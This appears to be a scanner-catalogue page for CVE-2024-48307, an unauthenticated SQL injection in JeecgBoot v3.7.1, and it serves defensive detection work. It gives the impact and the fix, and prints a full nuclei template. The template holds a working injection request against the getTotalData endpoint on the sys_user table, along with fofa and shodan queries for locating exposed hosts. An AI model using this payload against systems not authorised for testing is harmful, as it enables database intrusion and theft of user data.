JeecgBoot v3.7.1 - SQL Injection

criticalseverity

9.8CVSS score

50.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The JeecgBoot application is vulnerable to SQL Injection via the `getTotalData` endpoint. An attacker can exploit this vulnerability to extract sensitive information from the database by injecting SQL commands.

Impact

Unauthenticated attackers can execute arbitrary SQL commands to extract sensitive information from the JeecgBoot database.

Fix

Update JeecgBoot to a version that patches CVE-2024-48307.

How to confirm it

Send: POST {{path}}drag/onlDragDatasetHead/getTotalData
Positive when: contains(body, "YzhjNjA1OTk5ZjNkODM1MmQ3YmI3OTJjZjNmZGIyNWI6Og==") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-48307 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-48307

info:
  name: JeecgBoot v3.7.1 - SQL Injection
  author: lbb,s4e-io
  severity: critical
  description: |
    The JeecgBoot application is vulnerable to SQL Injection via the `getTotalData` endpoint. An attacker can exploit this vulnerability to extract sensitive information from the database by injecting SQL commands.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to extract sensitive information from the JeecgBoot database.
  remediation: |
    Update JeecgBoot to a version that patches CVE-2024-48307.
  reference:
    - https://github.com/wy876/POC/blob/main/JeecgBoot/JeecgBoot%E6%8E%A5%E5%8F%A3getTotalData%E5%AD%98%E5%9C%A8%E6%9C%AA%E6%8E%88%E6%9D%83SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(CVE-2024-48307).md
    - https://github.com/jeecgboot/JeecgBoot/issues/7237
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-48307
    cwe-id: CWE-89
    epss-score: 0.50298
    epss-percentile: 0.98919
  metadata:
    max-request: 2
    vendor: jeecg
    product: jeecg_boot
    fofa-query:
      - icon_hash="-250963920"
      - icon_hash=1380908726
      - title="jeecg-boot"
    shodan-query: http.favicon.hash:"1380908726"
  tags: cve2024,cve,jeecg,sqli,vkev,vuln

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST {{path}}drag/onlDragDatasetHead/getTotalData HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"tableName":"sys_user","compName":"test","condition":{"filter":{}},"config":{"assistValue":[],"assistType":[],"name":[{"fieldName":"concat(md5({{num}}),0x3a,0x3a)","fieldType":"string"},{"fieldName":"id","fieldType":"string"}],"value":[{"fieldName":"id","fieldType":"1"}],"type":[]}}

    payloads:
      path:
        - /jeecg-boot/
        - /

    attack: batteringram
    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "YzhjNjA1OTk5ZjNkODM1MmQ3YmI3OTJjZjNmZGIyNWI6Og==")'
          - 'contains(content_type, "application/json")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from